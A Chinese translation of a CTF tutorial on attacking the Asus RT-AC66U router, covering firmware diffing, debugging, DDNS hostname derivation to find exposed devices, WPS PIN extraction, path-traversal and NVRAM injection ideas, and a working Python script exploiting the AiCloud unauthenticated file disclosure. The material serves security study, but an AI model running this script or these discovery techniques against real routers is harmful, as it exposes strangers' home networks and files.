记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

CTF:华硕RT-AC66U路由器漏洞解题分析

2015-01-10 01:45

分享到:

我对EFF的开放无线路由活动很感兴趣,但是他们一点都没有对他们的设备进行展示。比赛规则中RT-AC66U被列为可能被用来攻击的设备。我有一个个人的RT-AC66U,因此我决定为所有CTF的参赛者写一个小教程。

侦查

第一步,需要找到固件和源代码。幸运的是,RT-AC66U在GPL注册过,很容易就可以找到固件的源代码。为了更好地分析调制解调器,我们弄来了固件和源代码v3.0.0.4.266到v3.0.0.4.376.1123版本。这两个版本之间有很多的更新,因此,我们看一看这其中都有哪些变化。
Asus RT-AC66u v3.0.0.4.266 – прошивка
http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/FW_RT_AC66U_VER3004266.zip
 
按照比赛规则,我们应当找到0day漏洞并运用它。应当结合不同的漏洞去找到更多的弱点。如果开发者不公布的漏洞但是被你发现了,就叫做0day漏洞。
 
总之,我们拥有源代码,是时候打开并研究它了。CTF Field Guide 拥有丰富的代码审计资源。可以使用对比软件,比如Windows系统下的Beyond Compare,Araxis Merge 和 WinMerge , 如果你的系统是Linuxили ,你可以用Meld。
下面,打开目录"/asuswrt/release/src/router/",在Meld下比较两个版本。

t01bdbd3fc79e4828c6.png

这个路由器上有很多已被发现的漏洞,如果你想找到0day,请你确信,它是不会主动找你的。以下是几个现成的漏洞:

ASUS RT-AC66U Remote Root (Broadcom ACSD)

http://infosec42.blogspot.com.br/2013/07/exploit-asus-rt-ac66u-remote-root.html

ASUS RT-N66U Router — HTTPS Directory traversal and full file access and credential disclosure vuln

http://www.securityfocus.com/archive/1/526942

Asus RT56U Remote Command Injection

https://hatriot.github.io/blog/2013/06/05/asus-rt56u-remote-command-injection/

Taking over the ASUS RT-N56U and RT-AC66U

http://securityevaluators.com/knowledge/case_studies/routers/asus_rtn56u.php

Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate)

http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/
OSVDB
http://osvdb.com/search?search%5Bvuln_title%5D=asus&search%5Btext_type%5D=alltext

如果你利用漏洞攻击需要特别的系统配置或者专业的信息,你得换一定数量的攻击点。

因此,如果你想选取很多攻击点,你应该瞄准进程和服务标准的系统。
 

t01b1c9507f004a9ea4.png

 在RT-AC66U的USB应用界面中可以开启一些服务,比如FTP, DLNA, NFS 和Samba.

t0120f00eea56a26a55.png

MiniDLNA也是一个很棒的目标。使用Zachary Cutlip'的研究成果,可以轻松在MiniDLNA中找到很多漏洞,他曾多次破解这个程序。

t012cf88a8f06ff5224.png

AiCloud潜在的拥有其他的漏洞服务,它可以把你的家庭网络与在线存储连接起来,并为无线设备提供接口。

t01dcb9c7b5339cfdea.png

当小组的一部分研究源代码时, forensics的专家通过binwalk 和 fmk研究固件。

t01d7c2a5725fa52588.png

你要记住binwally,这个软件是我写的,一个通过模糊哈希算法的方式找出两个二进制树之间差异的软件。在Binwalk中有对文件和目录进行模糊哈希算法的选项。

t0151b88d7bc55b3b82.png

大多数开发者(比如Asus)都不会公开所有源代码。看来,大家不得不转向驱动程序和二进制文件,以便找到好用的漏洞。名为ACSD的驱动软件更让人感兴趣,因为它的新版本(v3.0.0.4.374.130+)由于漏洞(Jacob Holcomb发现的)被删除了。

t01af30b926ddcff58a.png

MIPS Little Endian的驱动程序

t013644fb8f4549790e.png

同时,重要的是要弄清楚更多地系统文件。在OpenWRT Wiki有一片著名的关于标记闪存的文章(链接про разметку флеш-памяти)。在Linux中MTD(内存技术设备)为闪存设备提供接口,并允许在其中建立符合要求的系统文件。可以通过ssh进入设备并查看标记。

t01760bb8272b44c7f7.png

分析NVRAM对于我们十分有价值,其中存储着所有的设备设置情况。你可以通过提交所需的目录(mtd1)或者执行nvram show命令就能查看它的内容。
 
 

t0107e27ec6884e2047.png

t01d2cdc1aebc26031e.png

 
 
 

Pmon——也是一个有趣的目录。其中包含着被LZMA压缩的数据,这些数据用于固件更新失败后的恢复。

t017ec0677a4f7343e8.png

t01f0c9b10333683de4.png

攻击

攻击时间开始了。我们需要一些诸如gdb,gdbserver和strace的软件进行二进制调试。我们可以对其或者进行交叉编译,或者调试 Optware/Entware以及对已编译的软件包进行设置。

t01263aebba2cfb8ebf.png

Wanduck(GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c)对于分析来说十足是一个有趣的进程。它无需启动,在18017端口提供伪HTTP服务。这种HTTP服务每一个请求重定向于主要接口,由于某种原因,它可以抛弃所有终止在 ".ico"的请求。

t011f4d8dad8aadcaa5.png

让我们分析一下,他为什么这么运行——远程启动gdbserver(gdbserver --multi localhost:12345 &) ,并且他能把任何调试器与你的决定联系在一起。如果你使用 IDA Pro,你可以打开二进制文件并在«mipsrl»上设置进程类型。

http://p5.qhimg.com/t017b39fea7c0e2e9ec.png

找到handle_http_req模块,并设置断点对比dst_url。

t01025e2144a90dd7a5.png

把gdbserver的主机和端口导入Debugger / Process Options菜单,并添加所需的PID

http://p5.qhimg.com/t01bdb6675f4c1b439f.png

http://p4.qhimg.com/t0187ce227ffbdc7a7b.png

继续完成进程 (F9),并在192.168.1.1/x.ico完成http请求。调试器在断点处停止,你将会看到目录和内存。
 

t01bbb8a309e11403e9.png

如果你想找到侦察的其他目标,你可以在GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/的«prebuilt»目录中找。会找到一些有意思的二进制文件。


/acsd/prebuilt/acsd
/webdav_client/prebuilt/webdav_client
/asuswebstorage/prebuilt/asuswebstorage
/eapd/linux/prebuilt/eapd
/nas/nas/prebuilt/nas
/flash/prebuilt/flash
/et/prebuilt/et
/wps/prebuilt/wps_monitor
/ated/prebuilt/ated
/wlconf/prebuilt/wlconf


通过手机软件AiCloud可以看到设备工作的一些有价值的信息。如果你进行反编译apk或者使用代理劫持,你可以得到软件初始的http请求。
 

http://p1.qhimg.com/t01c89c2d6e1854e0f8.png

http://p2.qhimg.com/t0165685e9e67ff9dd5.png

t01ff64626e93c64d13.png

 
 
 
 

有没有注意到ddns_hostname奇怪的变量。密码破解任务。
 

密码破解

通过使用asuscomm.com服务,POST请求试图记录的设备上的新Dynamic DNS地址。如果我们能找到RT-AC66U源代码的这一行,那么我们就可以轻松的找到产生DDNS地址的功能。

var isMD5DDNSName = function(){ var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase().replace(/:/g, ""); return "A"+hexMD5(macAddr).toUpperCase()+".asuscomm.com"; }
 

通过查询WikiDev,RT-AC66U在MAC地址中使用以下标识码:

08:60:6E (1 E, 1 W, 2011)
10:BF:48 (1 E, 2 W, 2011)
30:85:A9 (3 E, 3 W, 2011)
50:46:5D (1 E, 2 W, 2012)



利用这些信息,我们能够比较AiCloud上的每一个路由器上的IP地址。简单地列出所有可能的IP地址的列表并使用技巧挑选出名为mubix'а的DNS地址(http://www.room362.com/blog/2014/01/29/hostname-bruteforcing-on-the-cheap/)
 

t01dba3a4d282e1617b.png

 

如果你实在懒得输命令,你可以在 Shodan 上面找«asuscomm.com» 。
 

t01f1cb88b303f0a175.png

 
 
 
 
 

AiCloud默认8082和443端口。事实上任何人都能轻松地得到进行这项服务的路由器的列表,这应该引起我们的担心,不是吗?

用于产生WPS PIN的算法解析是另一个有价值的密码行为。你可以通过命令nvram show | grep -E secret_code|wps_device_pin,得到当时的PIN和 secret_code。在源代码中找到这些数值并用得到

的信息些一个注册机(不要忘了从 pouet.net上给它添加一个CHIPTUNE)。
 
 

http://p8.qhimg.com/t01701757c5c9f29cee.png

t0195e89a4619c5354e.png

 
 
 

你还可以检查设备产生的密钥熵。看一下幻灯片«Fast Internet-wide Scanning and its Security Applications»,这样可以产生多个思路。
 
 

t019fdb9cf708175743.png

WEB

有很多进行web渗透测试的方法,我只偏爱其中两个。路由器的界面对CSRF(Cross-site request forgery跨站请求伪造)没有任何防护。同时有很多ping命令中的传统注入和一堆XSS向量。

HTTP连接程序建立在microhttpd基础上。这里有退出httpd.c目录的基础防护。
 
 
 

t016a0c40e2c340c9d3.png

 
 
 
 

我们可以参照идею hackerfantastic 中的一些方法来对付遍布的潜在的防护措施。

#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]){
    char *file;
    int len;
    file = argv[1];
    len = strlen(file);
    if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 )
    {
        printf ("Illegal filename:  %s\n", file);
    }
    else
    {
        printf ("Accepted filename: %s\n", file);
    }
    return 0;
}

 
 

t017b299ca104566d32.png

 
 
在web程序中有很多(应当被去掉的)MIME(Multipurpose Internet Mail Extensions多用途互联网邮件扩展类型)的处理程序。

// some should be removed
struct except_mime_handler except_mime_handlers[] = {
{ "QIS_*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},      
{ "qis/*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},      
{ "*.css", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "state.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detect.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "popup.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "general.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "help.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_autodet.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply2.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "setting_lan.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "httpd_check.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "status.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "automac.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detecWAN.asp", MIME_EXCEPTION_NORESETTIME},
{ "detecWAN2.asp", MIME_EXCEPTION_NORESETTIME},
{ "WPS_info.asp", MIME_EXCEPTION_NORESETTIME},
{ "WAN_info.asp", MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status.asp", MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status_QIS.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "result_of_detect_client.asp", MIME_EXCEPTION_NORESETTIME},
{ "Nologin.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "alertImg.gif", MIME_EXCEPTION_NOAUTH_ALL},
{ "error_page.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "jquery.js", MIME_EXCEPTION_NOAUTH_ALL},
{ "gotoHomePage.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_appstate.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_cloudstatus.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "get_webdavInfo.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.gz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.tgz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.zip", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.ipk", MIME_EXCEPTION_NOAUTH_ALL},
{ NULL, 0 }
};


get_webdavInfo.asp文件无需认证就能被通过并弹出关于设备和网络的大量信息。
 

t018f2b6ea562ed2f3f.png

为了在页面中设置XSS后门,我们可以在nvram中更改一些变量值。
 
 

t01631c0e2deeefe63b.png

 

一些活动使用了nvram_get 和 nvram_safe_get的功能。设备中的设置可以通过nvram_set的功能进行存储。如果路由器不对来自NVRAM的数据进行屏蔽,那么可以进行一些诸如NVRAM 注射的攻击(在这项工作中%0A, %0D 和 “reboot”会对你有帮助)。
 

AiCloud——非常脆弱的服务,其漏洞可以轻松被开发运用(详见http://www.securityfocus.com/archive/1/526942)。你在设置中激活它,lighttpd就通过路由器的8082端口(新版本固件在443端口)打开并为你的在线文件提供出口。向URL添加/smb/(读源代码)  ,就能绕过登陆用户名与口令对话框。
 

t01fafaf47cb40815de.png

t01e79512d5854e61e3.png

 

为利用RT-AC66U v3.0.0.4.266版本中Aicloud的这个bug,我写了个小脚本。它能够监控路由器传输的所有的文件和线路,其中包括USB线路的。

#!/usr/bin/python
 
from bs4 import BeautifulSoup
import urllib2
import sys
 
def list_dir(url, start_dir):
    try:
        html_page = urllib2.urlopen(url+start_dir)
    except urllib2.HTTPError as e:
        print e
        sys.exit(1)
    soup = BeautifulSoup(html_page)
    for link in soup.findAll('a'):
        path = link.get('uhref')
        if path != '../':
            is_dir = link.get('isdir')
            if  is_dir == str('1'):
                print url+path
                list_dir(url,path)
            else:
                print url+path
 
nargs = len(sys.argv)
if nargs == 2:
    url = sys.argv[1]
    start_dir = "/smb"
elif nargs == 3:
    url = sys.argv[1]
    start_dir = str(sys.argv[2])
else:
    print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure\
          \nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354\
          \nDisclosed by Kyle Lovett\
          \nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com\
          \nUsage: python %s http://url [path]' % sys.argv[0]
    sys.exit(1)
 
list_dir(url, start_dir)

t01ff388f7c0f09ce5a.png

t01cc7a287bc026952b.png

 最后,别忘了比较www目录中文件的差别。通过这种方式能找到用于web界面的所有组件和脚本。
 

t01e9a5c309bb94dc50.png

 

为什么不尝试一下在不损坏保修封印的情况下打开路由器的盖?为此你需要来自DEFCON Tamber Evident Village的伙伴的主意。
 
结尾

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://habrahabr.ru/post/230469/


知识来源: bobao.360.cn/learning/detail/195.html

阅读:263328 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“CTF:华硕RT-AC66U路由器漏洞解题分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云